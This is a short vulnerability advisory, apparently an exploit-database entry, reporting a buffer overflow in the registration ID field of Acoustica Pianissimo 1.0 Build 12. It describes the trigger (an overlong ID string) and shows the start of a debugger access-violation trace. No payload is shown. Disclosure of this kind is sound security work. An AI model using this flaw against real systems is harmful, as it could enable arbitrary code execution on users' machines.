CVE: N/A
CWE: CWE-119

Acoustica Pianissimo 1.0 Build 12 (Registration ID) Buffer Overflow PoC Vendor: Acoustica, Inc. Product web page: http://www.acoustica.com Affected version: 1.0 Build 12 Summary: Pianissimo virtual piano uses a combination of sample playback and advanced physical modeling to create a stunning acoustic grand piano sound. Starting with 250 MB of high quality samples of a Steinwayâ„¢ Model D grand piano, Pianissimo uses complex signal processing and programming to recreate the warmth, response, and playability of a real grand piano. Desc: The vulnerability is caused due to a boundary error in the processing of a user input in the registration id field of the registration procedure, which can be exploited to cause a buffer overflow when a user inserts long array of string for the ID. Successful exploitation could allow execution of arbitrary code on the affected machine. ----------------------------------------------------------------- (b98.1790): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found.
